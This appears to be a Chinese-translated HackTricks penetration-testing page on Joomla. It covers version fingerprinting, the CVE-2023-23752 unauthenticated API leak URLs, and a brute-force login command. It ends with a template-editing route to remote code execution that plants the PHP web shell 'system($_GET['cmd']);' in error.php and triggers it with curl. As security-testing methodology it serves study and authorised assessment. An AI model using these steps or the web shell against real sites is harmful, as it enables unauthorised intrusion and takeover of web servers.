112 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Joomla
{{#include ../../banners/hacktricks-training.md}}
### Joomla 统计
Joomla 收集一些匿名 [使用统计数据](https://developer.joomla.org/about/stats.html),例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Enumeration
### Discovery/Footprinting
- 检查 **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
- robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
- README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### 版本
-**/administrator/manifests/files/joomla.xml** 中可以看到版本。
-**/language/en-GB/en-GB.xml** 中可以获取 Joomla 的版本。
-**plugins/system/cache/cache.xml** 中可以看到一个大致的版本。
### 自动
```bash
droopescan scan joomla --url http://joomla-site.local/
```
在[ **80,443 - Pentesting Web Methodology 是关于 CMS 扫描器的一个部分**](#cms-scanners),可以扫描 Joomla。
### API 未经身份验证的信息泄露:
版本从 4.0.0 到 4.2.7 存在未经身份验证的信息泄露漏洞 (CVE-2023-23752),将泄露凭据和其他信息。
- 用户: `http://<host>/api/v1/users?public=true`
- 配置文件: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF 模块** `scanner/http/joomla_api_improper_access_checks` 或 ruby 脚本:[51334](https://www.exploit-db.com/exploits/51334)
### 暴力破解
您可以使用这个 [脚本](https://github.com/ajnik/joomla-bruteforce) 尝试暴力破解登录。
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
如果你成功获取了 **管理员凭据**,你可以通过添加一段 **PHP 代码** 来 **获得 RCE**。我们可以通过 **自定义** 一个 **模板** 来实现这一点。
1. **点击** 左下角的 **`Templates`** 在 `Configuration` 下拉出模板菜单。
2. **点击** 一个 **模板** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。
3. 最后,你可以点击一个页面以拉取 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**,如下所示:
1. **`system($_GET['cmd']);`**
4. **保存并关闭**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## 从 XSS 到 RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit)Joomla 利用脚本,可以 **将 XSS 升级为 RCE 或其他关键漏洞**。更多信息请查看 [**这篇文章**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它支持 **Joomla 版本 5.X.X、4.X.X 和 3.X.X并允许**
- _**权限提升:**_ 在 Joomla 中创建一个用户。
- _**(RCE) 内置模板编辑:**_ 编辑 Joomla 中的内置模板。
- _**(自定义) 自定义利用:**_ 针对第三方 Joomla 插件的自定义利用。
{{#include ../../banners/hacktricks-training.md}}